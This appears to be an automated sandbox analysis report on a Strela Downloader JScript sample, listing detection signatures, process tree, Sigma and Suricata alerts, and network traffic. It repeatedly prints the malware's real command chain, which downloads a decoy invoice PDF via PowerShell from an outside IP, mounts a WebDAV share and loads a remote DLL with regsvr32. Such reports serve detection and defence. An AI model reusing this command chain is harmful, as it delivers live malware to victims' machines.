Edit tour

Windows Analysis Report
2832817159901627624.js

Overview

General Information

Sample name:	2832817159901627624.js
Analysis ID:	1588151
MD5:	8add4563c32cabf46ae3c5b7c573caa7
SHA1:	cd5772ec3c6ffa7bfd3b7ffa27f9beb20bc056a5
SHA256:	d2addcf420217c10a04443f7b953d19c3bf45d8f838a8d931eed1659fd41e1f8
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2448 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1264 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6476 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2656 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1768,i,17196989790410728869,8051120368359651393,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5556 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5004 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2448	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1264, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6476, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1264, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6476, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", ProcessId: 2448, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5004, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 1264, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 1264, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 1264, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 1264, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 1264, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", ProcessId: 2448, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1264, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6476, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5556, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5004, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6048, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5556, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5004, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 1264, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:00:59.254424+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:00:57.083180+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2832817159901627624.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2832817159901627624.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:00:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:59507 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

